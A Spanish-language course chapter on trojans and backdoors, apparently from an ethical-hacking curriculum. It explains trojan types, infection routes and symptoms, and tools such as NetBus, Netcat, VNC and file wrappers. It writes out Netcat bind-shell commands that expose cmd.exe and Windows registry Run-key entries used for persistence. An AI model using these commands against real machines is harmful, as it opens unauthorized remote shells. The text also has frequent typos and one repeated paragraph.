Está en la página 1de 45

Amenazas y Mecanismos de Defensa

Las amenazas y los mecanismos de defensa incluyen la discusión de Troyanos, virus y gusanos,
sniffers (husmeadores), phishing (suplantación de identidad), ingeniería social, denegación de
servicio (DoS) y vulnerabilidades asociadas con buffer overflows (desbordamiento de búfer), así
como las herramientas de contramedidas o respuestas.

Objetivos
Al terminar esta práctica, Usted podrá:
 Entender los troyanos
 Distinguir entre canales abiertos y encubiertos
 Identificar indicaciones de ataques de troyanos
 Identificar los diferentes tipos de Troyanos y entender cómo trabajan
 Entender el túnel ICMP
 Llamar herramientas para enviar Troyanos
 Entender los envoltorios (wrappers)
 Construir un Troyano usando un Kit
 Llamar diferentes Troyanos utilizados en el medio
 Evitar infección de Troyanos
 Seleccionar herramientas para detectar Troyanos
 Llamar varios anti-Troyanos

Términos Clave
 Backdoor entrada a una red que evita (bypasses) los procedimientos normales de
autenticación y seguridad.
 Modelo de red Cliente-Servidor modelo que define la comunicación interactiva entre
las computadoras individuales y servidores.
 Canal cubierto ruta oculta ilegal utilizada para transferir datos desde una red.
 ICMP (Internet Control Message Protocol) un protocolo sin conexión que generalmente
se usa para proporcionar mensajes de error a direcciones de unidifusión.
 Túnel ICMP uso de este protocolo para evitar (bypass) el filtrado por dispositivos de red.
 IRC (Internet Relay Chat) una forma de comunicación instantánea basada en texto que
se realiza, a través de Internet.
 Keylogger hardware o software que registra lo tecleado o los movimientos de mouse.
 Canal abierto canal seguro legal, para transferir información y data en la red.
 POP3 (Post Office Protocol vesrion 3) protocolo de transferencia de e-mail, para
descargar e-mail desde el servidor POP, usando el puerto 110.
 TCP (Transmission Contol Protocol) protocolo que define y regula el método de
transmisión de data entre computadoras.
 Troyano programa que contiene código malicioso o dañino aparentando ser un
programa inocente o data.
 UDP (User Datagram Protocol) protocolo de transmisión de data, que no requiere que
se especifique una ruta de transmisión, antes que se transmita la data.
 VNC (Virtual Network Computing) software software que permite a los usuarios control
remoto de un computador.
 Wrapper programa usado para unir un Troyano ejecutable a un archivo.

Caso Ejemplo
Un desarrollador de sitios web en una compañía de seguros está descontento porque su
gerente no lo reconoce. El desarrollador es competente y se esfuerza por cumplir sus tareas. Él
tiene un alto desempeño en su sucursal, pero su gerente no reconoce su trabajo porque
favorece a cierto grupo de empleados. En el cumpleaños del gerente, todos los empleados lo
saludaron. El desarrollador personalmente fue a saludar al gerente y le pidió que revisara su
correo electrónico, ya que la sorpresa de cumpleaños lo estaba esperando. El desarrollador
había planeado algo para su gerente.
Sin darse cuenta de las intenciones del Desarrollador, el administrador abrió el archivo bday.zip.
Extrajo el contenido del archivo y ejecutó el bday.exe, añadiendo la tarjeta de felicitación Flash.
El gerente había infectado sin saberlo su computadora con un troyano de control remoto.
¿Qué daño puede hacer el desarrollador?
¿Están justificadas las acciones del desarrollador?

Introducción a Troyanos y Backdoors


Los ataques de caballos de Troya son uno de los ciberataques más graves. Un caballo de Troya
es un programa en el que el código malicioso o dañino está contenido dentro de programas o
datos aparentemente inofensivos de tal manera que puede causar la forma de daño
pretendida.
Los ataques de troyanos han afectado a las empresas en todo el mundo. Los troyanos son
básicamente programas maliciosos que rompen la seguridad y causan daños considerables
tanto en el hardware como en el software de los sistemas. Pueden causar daños extensos
debido a sus funcionalidades abiertas y encubiertas.
Los troyanos pueden propagarse, por ejemplo, cuando un remitente envía un archivo GIF
animado con un troyano y el destinatario abre el archivo. El troyano ingresa al sistema del
receptor y lentamente causa daños extensos al sistema. Un uso común de un caballo de Troya
es instalar puertas traseras para permitir que el atacante acceda al sistema comprometido en el
futuro. Las puertas traseras son formas de acceder a una computadora sin los procedimientos
de seguridad y autenticación que normalmente se requieren.

Troyanos, qué son?


Según la mitología griega, los griegos ganaron la guerra de Troya con la ayuda de un caballo de
madera gigante a las puertas de Troya.
Por lo tanto, un troyano informático se define como un "programa malicioso que rompe la
curiosidad y se disfraza de algo benigno". Una computadora Trojan Horse se usa para ingresar a
la computadora de una víctima sin ser detectada, otorgando al atacante acceso sin restricciones
a cualquier información almacenada en esa computadora y causando un daño inmenso a la
víctima. Los usuarios pueden descargar, por ejemplo, un archivo que parece ser una película,
pero, cuando se ejecuta, desata un programa peligroso que borra el disco duro o envía
números de tarjeta de crédito y contraseñas al atacante.
Un troyano también se puede envolver con un programa legítimo, lo que significa que este
programa puede tener una funcionalidad oculta para el usuario.
Una víctima también puede ser utilizada como un intermediario involuntario para atacar a
otros. Los atacantes pueden usar la computadora de victicm para cometer ataques ilegales de
denegación de servicio, como los que prácticamente paralizaron la red DALnet IRC durante
meses. Internet Realy Chat (IRC) es una forma de comunicación instantánea basada en texto a
través de Internet.
Los caballos de Troya trabajan en el mismo nivel de privilegios que tiene el usuario cictim. Si la
víctima tiene los privilegios, un troyano puede eliminar archivos, transmitir información,
modificar archivos existentes e instalar otros programas. El caballo de Troya puede intentar
explotar una vulnerabilidad para aumentar el nivel de acceso más allá del usuario que lo
ejecuta. Si tiene éxito, el troyano puede operar con mayores privilegios y puede instalar otro
código malicioso en la máquina de la víctima
Un compromiso de cualquier sistema en una red puede afectar a los otros sistemas en la red.
Los sistemas que transmiten credenciales de autenticación, como las contraseñas a través de
redes compartidas en texto claro o en forma trivialmente encriptada, son particularmente
vulnerables. Si un sistema en dicha red se ve comprometido, el intruso puede registrar nombres
de usuario y contraseñas u otra información confidencial.
Además, un troyano, dependiendo de las acciones que realiza, puede implicar falsamente al
sistema remoto como la fuente de un ataque mediante suplantación de identidad y, por lo
tanto, hacer que el sistema remoto incurra en responsabilidad.

Razones para crear Troyanos


Los Troyanos se crean por las siguientes razones:
 Para robar información sensitiva como:
o Información de tarjetas de crédito
o Datos de la cuenta como password de e-mail, de marcado y servicios Web
o Proyectos importantes de la compañía.
 Para usar la computadora de la victima para almacenar archivos de material ilegal.
 Usar la computadora de la victima como servidor FTP para software pirata
 Para hacer bromas a los usuarios de la victima
 Para usar el sistema comprometido para otros propósitos comprometidos.

Canales abiertos y encubiertos


Abierto significa algo que es explícito, obvio o evidente, mientras que encubierto significa algo
que es secreto, oculto u oculto.
Un canal abierto es un canal legal y seguro para la transferencia de datos o información dentro
de la red de una empresa. Este canal se encuentra dentro del entorno seguro de la empresa y
funciona de forma segura desde la transferencia de datos e información. Por otro lado, un canal
encubierto es una ruta oculta ilegal utilizada para transferir datos desde una red.
Los canales encubiertos son métodos por los cuales un atacante puede ocultar datos en un
protocolo que es indetectable. Dependen de una técnica llamada tunelización, que permite
transportar un protocolo sobre otro protocolo. Los canales encubiertos generalmente no se
utilizan para intercambiar información, por lo que no se pueden detectar utilizando el método
estándar de seguridad del sistema. Cualquier proceso o bit de datos puede ser un canal secreto.
Esto lo convierte en un modo atractivo de transmisión para un troyano, ya que un atacante
puede usar el hannel abierto para instalar la puerta trasera en la máquina de destino.

Funciones de los Troyanos


Los Troyanos trabajan similarmente al modelo cliente-servidor. Este modelo define las
interacciones entre un servidor y los clientes de la red (computadoras) que permiten a estos
clientes acceder al servidor.
Los troyanos constan de dos partes: cliente y servidor. La parte del servidor se instala en la
posible máquina de la víctima, aunque no lo sepa. la parte del cliente está en el sistema del
atacante. El servidor y los clientes se utilizan para establecer una conexión entre la víctima y el
sistema del atacante a través de Internet. Los troyanos usan TCP, pero algunas de sus funciones
también pueden usar UDP para transmitir información. Estos protocolos regulan la forma en
que la información se transfiere de una máquina a otra. TCP, un protocolo que define y regula
el método de transmisión de datos entre computadoras requiere que los maches reconozcan a
los demás y que se haya establecido una ruta antes de transferir los datos. UDP no requiere
verificación, por lo que puede transferir datos más rápido.
los troyanos generalmente se ejecutan en modo sigiloso en la computadora de un cictim y se
pueden configurar para diferentes funciones. Por ejemplo, los troyanos que usan el programa
Back Orifice pueden configurar el servidor para permanecer en modo oculto y ocultar sus
procesos. Una vez activado, el servidor comienza a detectar puertos predeterminados o
configurados para las conexiones entrantes del atacante.
Los atacantes necesitan conocer la dirección IP remota para conectarse a la máquina e invocar
el troyano. Algunos troyanos también pueden transmitir la IP de la víctima usando ICQ o IRC.
Estos programas se utilizan para transmitir mensajes de inmediato. Esto es relevante cuando la
máquina remota está en una red con direcciones IP asignadas dinámicamente o cuando las
máquinas remotas usan una conexión de acceso telefónico para conectarse a Internet. Los
usuarios de DSL, por otro lado, tienen IP estáticas, por lo que el atacante siempre conoce las IP
infectadas.
Los troyanos pueden alterar el registro de una computadora o implementar algún otro método
de inicio automático. Estos métodos de inicio automático reinician el troyano cada vez que la
máquina remota se inicia o reinicia.
Los métodos de inicio van desde asociar el troyano con algunos archivos ejecutables comunes,
como Explorer.exe, hasta métodos conocidos como modificar los archivos del sistema o el
registro de Windows. Algunos de los archivos de sistema populares a los que se dirigen los
troyanos son la carpeta de inicio automático, Win.ini, System.ini, Wininit.ini, Winstart.bat,
Autoexec.bat y Config.sys. Todo esto se puede utilizar como métodos de inicio automático para
troyanos.
Los métodos de inicio van desde asociar el troyano con algunos archivos ejecutables comunes,
como Explorer.exe, hasta métodos conocidos como modificar los archivos del sistema o el
registro de Windows. Algunos de los archivos de sistema populares a los que se dirigen los
troyanos son la carpeta de inicio automático, Win.ini, System.ini, Wininit.inim Winstart.bat,
Autoexec.bat y Config.sys. Todo esto se puede utilizar como métodos de inicio automático para
troyanos.
El inicio del explorador es un método de inicio automático para Windows 95, 98 y ME y, si
existe c:\explorer.exe él iniciará en vez de la usual ruta c:\Windows\Explorer.exe
La mayoría de los métodos de autoinicio usan el registry. Aquí están algunas formas:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
“Info”=”c:\directory\trojan.exe”
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
“Info”=”c:\directory\trojan.exe”
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
“Info”=”c:\directory\trojan.exe”
1044 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
“Info”=”c:\directory\trojan.exe”
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion¿Run]
“Info”=”c:\directory\trojan.exe”
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
“Info”=”c:\directory\trojan.exe”

Métodos abiertos del registro shell:


[HKEY_CLASSES_ROOT\exefile\shell\open\command]
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command]
Se debe colocar una clave con el valor "% 1% *" allí, y si se coloca un archivo ejecutable allí, se
ejecutará cada vez que se abra un archivo binario. Trojan.exe "% 1% *" reiniciaría el troyano.

Método de detección de red ICQ:


[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\]
Esta clave incluye los archivos que se ejecutarán si ICQ detecta una conexión a Internet. Los
atacantes también abusan frecuentemente de estas características de ICQ

Método de componentes de Active X:


[HKEY_LOCAL_MACHINE\Software\Microsoft\ActiveSetup\InstallComponents\KeyName]
StubPath=c:\directory\trojan.exe
Estos son los métodos de inicio automático más comunes que utilizan archivos de sistema de
Windows y el registro de Windows

Diferentes formas en que un troyano puede ingresar a un sistema


Los troyanos utilizan los siguientes puntos de acceso para ingresar a un sistema:

 Aplicaciones de mensajería instantánea


o La infección puede ocurrir a través de aplicaciones de mensajería instantánea
como ICQ o Yahoo! Messenger.
o El usuario tiene un alto riesgo al recibir archivos a través de mensajería
instantánea, sin importar de quién o de dónde. Como no hay una utilidad de
verificación de archivos incluida con mensajeros instantáneos, siempre existe el
riesgo de infección por un troyano. El usuario nunca puede estar 100% seguro de
quién está al otro lado de la computadora en una red particular. Podría ser
alguien que hackeó una identificación y contraseña de messenger y quiere
difundir troyanos sobre la lista de amigos pirateados.
 IRC (Internet Relay Chat)
o IRC es otro método utilizado para la propagación de troyanos. Se puede
renombrar Trojan.exe como trojan.txt (con 150 espacios) .exe. Se puede recibir a
través de IRC y, en el DCC (Direct Client to Client), aparecerá como .TXT. La
ejecución de dichos archivos causará una infección.
o La mayoría de las personas no notan que un archivo de aplicación (.exe) tiene un
ícono de texto. Entonces, antes de que se ejecuten tales cosas, incluso si es con
un ícono de texto, las extensiones deben ser revisadas para asegurarse de que
realmente sean archivos .TXT.
o No descargue ningún archivo que parezca ser porno gratis o software de
Internet. Los usuarios de computadoras novatos a menudo son blanco de estas
ofertas falsas, y muchas personas en IRC desconocen la seguridad. Los usuarios
se infectan de los canales de Pornos, ya que no están pensando en los riesgos
involucrados, sino en cómo liberar porno y programas gratuitos.
 Archivos Adjuntos
o Los troyanos también se pueden transmitir a través de arreglos a correos
electrónicos.
o Ejemplo: Un usuario tiene un buen amigo que está investigando y quiere saber
sobre un tema relacionado con el campo de investigación de su amigo. Él envía
un correo electrónico a su amigo preguntándole sobre el tema y espera una
respuesta. Un atacante dirigido al usuario también conoce la dirección de correo
electrónico de su amigo. El atacante simplemente codificará un programa para
falsificar el campo de correo electrónico "De:" y enviará un mensaje con un
troyano adjunto. El usuario revisará su correo electrónico, verá que su amigo ha
respondido su consulta en un archivo adjunto, descargará el archivo adjunto y lo
ejecutará sin pensar que podría ser un troyano. El resultado final es una
infección.
o Algunos clientes de correo electrónico, como Outlook Express, tienen errores
que ejecutan automáticamente los archivos adjuntos.

 Acceso Físico

o Restringir el acceso físico es importante para la seguridad de las computadoras.


o Ejemplo: El amigo de un usuario quiere tener acceso físico a su sistema. El
usuario podría colarse en la sala de computadoras de su amigo en su ausencia e
instalar un troyano copiando el software troyano de su disco en el disco duro.
o El inicio automático es otra forma de infectar un sistema mientras se tiene
acceso físico. Cuando se coloca un CD en la bandeja de CD-ROM, se inicia
automáticamente con una interfaz de configuración. Un troyano podría
ejecutarse fácilmente ejecutando un programa de configuración real. Como
muchas personas no conocen esta función de CD, su máquina podría infectarse y
no entenderían qué sucedió o cómo se hizo. Ejemplo de archivo Autorun.inf que
se coloca en dichos CD:

[autorun]
Open=setup.exe
Icon=setup.exe

La funcionalidad de autostart debe desactivarse en Panel de Control -> Sistema ->


Administrador de dispositivos -> CDROM -> Propiedades -> Settings. Desactive la referencia al
CDROM.

Indicaciones de un ataque troyano

Las siguientes fallas de funcionamiento son síntomas de un ataque troyano:

 El cajón del CD-ROM se abre y cierra automáticamente. Los troyanos que inhiben tales
actividades son Netbus y Subseven.

 La pantalla de la computadora parpadea al revés o se invierte para que todo se vea al


revés.
 La configuración predeterminada de fondo o fondo de pantalla cambia
automáticamente.
 Las impresoras generan automáticamente mensajes personales almacenados en la
carpeta.
 Las páginas web se abren repentinamente sin intervención del usuario.
 La configuración de color del sistema operativo cambia automáticamente
 El volumen del sonido fluctúa de repente hacia arriba o hacia abajo.
 La fecha y hora del cambio de la computadora.
 El programa antivirus está deshabilitado automáticamente y los datos están dañados,
alterados o eliminados del sistema.
 El cursor del mouse se mueve solo.
 La flecha del puntero del mouse desaparece por completo.
 El botón de inicio de Windows desaparece
 Aparecen ventanas emergentes con mensajes extraños.
 El teclado y el mouse se congelan.
 Los contactos reciben correo electrónico de la dirección de correo electrónico de un
usuario que el usuario no envió.
 El sistema se apaga y descansa de formas inusuales.
 La barra de tareas desaparece automáticamente.
 El administrador de tareas está desactivado.

Puertos usados por Troyanos

Los usuarios deben tener una comprensión básica del estado de una conexión activa y los
puertos comúnmente utilizados por los troyanos para determinar si el sistema se ha visto
comprometido.

 Cuando un sistema escucha un número de puerto mientras espera hacer una conexión
con otro sistema, se dice que está "escuchando".
 Los troyanos están en estado de escucha cuando se reinicia un sistema. Algunos
troyanos usan más de un puerto, ya que un puerto puede usarse para escuchar y el
otro(s) para la transferencia de datos.
Determine qué puertos están escuchando:
Vaya a la línea comando (cmd) y teclee netstat –an. También netstat –an|findstr <findstr <# de
Puerto>

Tipos Diferentes de Troyanos


Los troyanos pueden clasificarse en diferentes categorías según su composición y
funcionamiento.

Troyanos de Acceso Remoto


Los troyanos de acceso remoto proporcionan a los atacantes un control total sobre el sistema
de la víctima, permitiéndoles acceder de forma remota a archivos, conversaciones privadas y
datos contables en la máquina de la víctima. El troyano de acceso remoto actúa como un
servidor y escucha en un puerto que no debería estar disponible para los atacantes de Internet,
por tanto, si el usuario está detrás de un firewall en la red, hay menos posibilidades de que un
atacante remoto pueda conectarse al troyano. Los atacantes en la misma red ubicada detrás
del firewall pueden acceder fácilmente a los troyanos. Los ejemplos incluyen los troyanos Back
Orifice y NetBus.

Troyanos de envío de datos


Este tipo de troyano proporciona a los atacantes contraseñas o datos confidenciales
adicionales, como números de tarjetas de crédito y hojas de auditoría. Los troyanos que envían
datos también pueden instalar un keylogger en el sistema de la víctima. Un keylogger es una
pieza de software o hardware que registra las pulsaciones de teclas o los movimientos del
mouse. Los troyanos que instalan keyloggers pueden grabar pulsaciones de teclas y enviarlas de
vuelta al atacante. Los datos capturados se pueden enviar al atacante por correo electrónico o
conectándose al sitio web del atacante utilizando un proveedor de páginas web gratuito y
enviando datos a través de un formulario web. Un ejemplo de esto es el virus de correo
electrónico Badtrans.B (lanzado en diciembre de 2001) que podría registrar las pulsaciones de
teclas del usuario.

Troyanos destructivos
El único propósito si se escribir este tipo de troyano es eliminar archivos en el sistema destino.
Estos troyanos son destructivos porque pueden eliminar archivos centrales del sistema, como
archivos .dell, .ini, .exe. El atacante puede activarlos o generarlos en función de una fecha y
hora fijas.

Troyanos de ataque de denegación de servicio (DoS)


Este tipo de troyano le permite al atacante iniciar un ataque distribuido de denegación de
servicio (DDoS). La idea básica detrás de este tipo de ataque es que si hay más de 150 usuarios
de ADSL infectados en la red y la víctima es atacada simultáneamente por cada usuario,
generará mucho tráfico que consumirá el ancho de banda, provocando que se caiga el acceso
de la víctima a Internet.

Troyanos Proxy
Estos troyanos convierten la computadora del usuario en un servidor proxy. Esto hace que la
computadora sea accesible para el atacante especificado. En general, se usa para Telnet
anónimo, ICQ para comprar alimentos con tarjetas de crédito robadas, así como para otras
actividades ilegales. El atacante tiene control total sobre el sistema de los usuarios y también
puede lanzar ataques a otros sistemas desde la red del usuario afectado.
Si las autoridades detectan actividad ilegal, las huellas llevan a usuarios inocentes y no al
atacante. Esto puede generar problemas legales para las víctimas, porque las víctimas son
responsables de su red o de cualquier ataque lanzado desde ella.

Troyanos FTP
Estos troyanos abren el puerto 21, que se utiliza para transferencias FTP, lo que permite al
atacante conectarse al sistema de la víctima a través de FTP.
Troyanos de desactivación de software de seguridad
Estos troyanos están diseñados para deshabilitar software antivirus o firewalls. Después de
deshabilitar estos programas, el atacante puede atacar fácilmente el sistema de la víctima.
Un ejemplo es el infame virus Bugbear que instaló un troyano en las máquinas de los usuarios
infectados y deshabilitó el popular software antivirus y firewall. Otro ejemplo es el gusano
Goner detectado en diciembre de 2001, que eliminó los archivos antivirus.

Troyanos de puerta trasera ICMP


ICMP (Protocolo de mensajes de control de Internet) es una parte integral de IP y debe ser
implementado por cada módulo de IP. Es un protocolo sin conexión. Se utiliza para
proporcionar mensajes de error a direcciones de unidifusión. Los paquetes están encapsulados
en datagramas IP.
El concepto de tunelización ICMP es simple. Dado que es posible hacer un túnel de información
arbitraria en la porción de datos de los paquetes ICMP_ECHO e ICMP_ECHOREPLY. EL tráfico
ICMPECHO contiene un canal encubierto que puede destruirse debido a túneles. Los
dispositivos de red no filtran el contenido del tráfico ICMP_ECHO, lo que hace que el uso de
este canal sea atractivo para los piratas informáticos. El paquete ICMP_ECHOREPLY transporta
la carga útil.
Los atacantes simplemente los pasan, los sueltan o los devuelven. Los paquetes de troyanos se
enmascaran como tráfico ICMP_ECHO común. Los paquetes pueden encapsular (tunelizar)
cualquier información requerida

Troyanos de conexión inversa


Estos troyanos permiten al atacante evitar los cortafuegos correspondientes. Estos troyanos
pueden utilizar puertos autorizados por firewalls corporativos y conectarse con el mundo
exterior a través de la computadora de la víctima.
El troyano de conexión inversa funciona en dos partes: el clint y el servidor. La parte del
servidor del troyano se envía a la computadora de la víctima a través de medios como un
archivo adjunto de correo electrónico. Utiliza puertos autorizados para conectarse de nuevo al
cliente, que es el atacante. El atacante puede controlar el sistema de la víctima y puede
comunicarse con otros sistemas a través de esa computadora. Si este troyano se ajusta para
que el troyano se conecte de nuevo a un nombre DNS arbitrario, no se puede rastrear.
Herramientas Utilizadas por Creadores de Troyanos
Herramientas de puerta trasera (Backdoors)
Los siguientes programas se utilizan para crear puertas traseras en los sistemas para un acceso
rápido y sin restricciones.
Tini es una puerta trasera simple para Windows. Escucha en el puerto TCP 7777 y le da un
símbolo del sistema remoto a cualquiera que se conecte.
Esta aplicación se discute aquí porque crea la posibilidad de controlar de forma remota una
máquina sin ningún mecanismo de validación o autenticación. Aunque este programa no fue
diseñado para usarse como un troyano, su aplicación para crear una puerta trasera se puede
usar fácilmente para obtener acceso no autorizado a un computador.
Esta herramienta demuestra cómo se puede usar una puerta trasera para acceder de forma
remota a un sistema en un momento posterior. Un propósito de una puerta trasera es eliminar
la evidencia de entrada inicial del registro del sistema. Una puerta trasera efectiva permite a un
atacante retener el acceso a un manchin penetrado, a pesar de que el administrador del
sistema detecta la intrusión. Restablecer las contraseñas, cambiar los permisos de acceso al
disco o corregir los agujeros de seguridad originales con la esperanza de resolver el problema
puede no ser una solución efectiva en todo momento.

icmd funciona como Tini, pero acepta múltiples conexiones y se puede establecer una
contraseña

NetBus permite a un usuario manipular fácilmente otra computadora con una interfase
completa. NetBus consta de dos partes: un programa cliente (netbus.exe) y un programa de
servidor a menudo llamado parch.exe (o SysEdit.exe con la versión 1.5x), que es la puerta
trasera real. La versión 1.6 utiliza el puerto TCP / UDP 12345, que no puede modificarse. Desde
la versión 1.70 y superior, el por.exet es configurable. Si lo instala un juego llamado whack-a-
mole (el nombre del archivo es whackjob.zip), este archivo contiene el servidor NetBus 1.53
cuyo nombre de archivo es explore.exe. También hay un archivo llamado whackjob17.zip, que
instala el servidor de Netbus1.70 y usa el puerto 12631. Además, está protegido con contraseña
(PW: ecoli). Game.exe instala el servidor Netbus durante la rutina de configuración; el nombre
del servidor en realidad es explore.exe, ubicado en el directorio de Windows.
Para iniciar el servidor automáticamente, hay una entrada en el registro en
HKEY_LOCAL_MACHINESOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run que
normalmente se usa con la opción / nomsg. Si se elimina esta entrada, el servidor no se iniciará
con Windows.
El servidor NetBus puede tener prácticamente cualquier nombre de archivo. La forma habitual
en que se instala es mediante un simple engaño. El programa se envía a la víctima y se ofrece
en un sitio web y se representa falsamente como algo que no es. Ocasionalmente, puede
incluirse en un paquete de configuración para una aplicación legítima y ejecutarse en el proceso
de esa configuración. La víctima desprevenida elimina el programa directamente o mediante la
aplicación utilizada como camuflaje, e inmediatamente se instala y comienza a ofrecer acceso a
los intrusos.
NetBus siempre revela su presencia por medio de un puerto abierto, visible con netstat.exe.
Debido a esto, muchos intrusos eliminan netstat.exe del disco duro de la víctima
inmediatamente después de obtener el acceso. Se recomienda una comprobación periódica de
la presencia de netstat.exe, incluido el tamaño y la fecha del archivo, y es un medio para
detectar intrusiones.
Una vez que se obtiene acceso, el intruso a menudo instala otras puertas traseras, un daemos
FTP o HTTP que abren el disco de la víctima al acceso externo. El atacante también puede
habilitar el uso de recursos en la conexión de red. El servidor de la versión v1.70 abre dos
puertos TCP numerados 12345 y 12346. Escucha en 12345 un cliente remoto y aparentemente
responde a través de 12346. Responde a una conexión Telnet al puerto 12345 con su nombre y
número de versión.

Netcat
Usando Netcat, un atacante puede configurar un puerto o un backdoor que le permitirá
ingresar en un shell de DOS. Con un comando simple como nc -1. -p 5000 .t .e cmd.exe, el
atacante cn bind por 5000.
En el uso simple, el puerto de host nc crea una conexión TCP al puerto dado en el host de
destino dado. La entrada estándar se envía al host y todo lo que vuelve a través de la conexión
se envía a la salida estándar. Esto continúa indefinidamente, hasta que el lado de la red de la
conexión se apaga. Este comportamiento es diferente de la mayoría de las otras aplicaciones,
que cierran todo y salen después de un final de archivo en la entrada estándar.
Netcat también puede funcionar como servidor escuchando las conexiones de entrada en
puertos arbitrarios y después hacer la misma lectura y escritura. Con limitaciones menores, a
Netcat realmente no le importa si se ejecuta en modo cliente o servidor. Todavía mueve datos
de un lado a otro hasta que no quede ninguno. En cualquiera de los modos, se puede forzar
tumbar la conexión “shutdown”, después de un tiempo configurable de inactividad en el lado
de la red.

Las siguientes son parte de las características de Netcat:


 Conexiones de entrada /salida TCP/UDP hacia/de cualquier puerto
 Completa verificación hacia adelante/atrás de DNS, con los “warnings apropiados
 Habilidad de usar cualquier puerto como fuente
 Capacidad de usar cualquier dirección de origen de red configurada localmente
 Capacidad de escaneo de puertos incorporadas con aleatorizador
 Capacidad incorporada de enrutamiento de origen suelto
 Poder de lectura de argumentos de la línea comando, desde la entrada estándar
 Modo de envío lento: una línea cada N segundos.
 Volcado hexadecimal de datos transmitidos y recibidos
 Capacidad opcional para permitir que otro servicio del programa establezca conexión
 Contestador opcional de opciones de telnet usando el comando nc –l –p 23 –t –e
cmd.exe, donde 23 es el puerto de telnet, -l es la opción para escuchar, -e es la opción
para ejecutar y –t le dice a Netcat que maneje cualquier negociación de telnet que el
cliente pueda esperar.
 Una variedad de opciones de comando

Herramientas de Ocultamiento
Las siguientes herramientas pueden usarse para esconder las intenciones maliciosas de
Troyanos.

Wrappers
Los Wrappers son programas que se utilizan para vincular Troyanos ejecutables a archivos
legítimos. El atacante puede comprimir cualquier binario (DOS/Window) con herramientas tal
como petite.exe. Esta herramienta descomprime un file EXE (una vez está comprimido) en
tiempo de ejecución. Esto le permite al troyano ingresar virtualmente indetectable, ya que la
mayoría de los Antivirus no son capaces de detectar la firma en el file.
El atacante también puede colocar varios ejecutables dentro de un ejecutable. Estos Wrappers
pueden también soportar funciones tales como correr un file en trasfondo, mientras corren uno
en el escritorio. Los Wrappers pueden considerarse un tipo de pegamento, usado para unir
otros componentes de software. EL Wrapper encapsula varios componentes en una sola fuente
de data para hacerla utilizable en forma más conveniente que la fuente original
Los usuarios pueden ser engañados para que instalen Caballos de Troya con el atractivo del
Software libre. Por ejemplo, un Caballo de Troya puede llegar en un e-mail como si fuera un
juego de computadoras. Cuando el usuario recibe el correo, la descripción lo atrae a intalarlo.
Aunque de hecho sea un juego, también puede hacer otras acciones que no son tan aparentes
al usuario, tal como borrar files o correos con información sensitiva, para el atacaEl lnte.

Programa Encubierto de Envoltura (Wrapper)


Este programa corre tan pronto como Windows se inicia y se ejecuta, manteniendo al usuario
distraído por un tiempo, mientras corre en el desktop.
Esto le permite al Troyano ejecutable correr in trasfondo y hacer los cambios necesarios que
necesita hacer.
El programa mismo no cambia el registro, porque todas las modificaciones están en el file INI
creado en el mismo folder con el Software.

EXE Maker
Esta herramienta de Wrapping ayuda a combinar dos o más files en un solo file. Él compila los
files seleccionados en un host file. Un host file es un programa sencillo compilado. Él
descompresiona y ejecuta el programa fuente.

Yet Another Binder YAB


YAB es una herramienta poderosa, completa de unir archivos que puede usarse para distribuir
discretamente un número de files a un sistema objeto. Usando YAB, los files pueden escapar la
detección de los antivirus y Troyanos y Backdoors en una computadora host remota sin que sea
notado. Los comandos a ejecutarse en file objeto son almacenados en una tabla comando.

Pretator
Esta herramienta, envuelve muchos files en un solo ejecutable.

Restorator
Esta herramienta es un editor de piel para programas de Win32. Cambia imágenes, icons,
textos, sonidos, videos, diálogos, menús, y otras partes de la interfase del usuario.
Se pueden crear aplicaciones personalizadas diseñadas por el usuario utilizando este software
La relevancia de estas herramientas surge de su capacidad para modificar la interfaz de usuario
de cualquier programa de Windows de 32 bits y crear aplicaciones personalizadas. Restorator
permite al usuario editar recursos en muchos tipos de archivos, por ejemplo, .exe, .dll, .res,
.ocx, (Active X), .scr (protector de pantalla) y otros. Los protectores de pantalla han sido
populares como portadores de troyanos. Los atacantes pueden distribuir estas modificaciones
en un pequeño archivo de ejecución automática, el ResPatcher. Con Restorator, un atacante
puede crear un pequeño ejecutable que rehacerá los cambios y permitirá la personalización de
aplicaciones como Ingernet Explorer y AOL Instant Messenger. El atacante puede compartir las
modificaciones con otros.
Debido a que es pequeño, las personas que usan Restorator no tienen que instalarlo. No es
necesario, al compartir el archivo, regalar el archivo completo .exe o .dll. Es un programa
independiente que rehace las modificaciones realizadas a un programa. Las funciones de
búsqueda y captura del restaurador permiten al usuario recuperar recursos de archivos en el
disco de una víctima.
Restorator se puede utilizar para modificar un programa y luego enviarlo a la víctima deseada
en forma de protector de pantalla, una máscara para un reproductor multimedia o incluso un
archivo adjunto de aspecto inocente.

Tetris
Este programa a menudo recibe un nombre diferente. Tetris se puede usar como envoltorio
troyano. Los atacantes pueden codificar el troyano, vincularlo al juego Tetris y enviarlo por
correo electrónico para atacar la computadora del host. Cuando el usuario inicia el juego, el
troyano ataca y el atacante puede obtener acceso completo a los recursos en la computadora
del host.

Remote Access Tools


VNC (Virtual Network Computing) Software
El software VNC permite al usuario obtener acceso remoto a una computadora. Un troyano
VNC usa este software para controlar otra computadora sin el conocimiento del propietario.
Estos troyanos realizan las siguientes funciones cuando infectan sistemas:
Iniciar VNC server daemon en segundo plano
Conéctese con las víctimas utilizando cualquier visor VNC con la contraseña "secreto"
Como los programas VNC se consideran una utilidad, este troyano no puede ser detectado por
un programa antivirus.

RemoteByMail
Es una herramienta utilizada para controlar y acceder a una computadora, independientemente
de su ubicación, simplemente enviando un correo electrónico. Con un comando simple enviado
por correo electrónico a una computadora en el trabajo o en el hogar, RemoteByMail puede
realizar las siguientes tareas:

 Recuperar listas de archivos y carpetas.


 Comprimir automáticamente archivos que se transferirán
 Ayuda a ejecutar programas o archivos por lotes
Esta es una forma más fácil y segura de modificar archivos o ejecutar programas en una
computadora de forma remota. Las principales ventajas de usar RemoteByMail son las
siguientes:
 No es necesario confiar en servicios de terceros
 No es necesario acceder a un navegador web
 No es necesario iniciar sesión en ningún lugar ni descargar aplicaciones
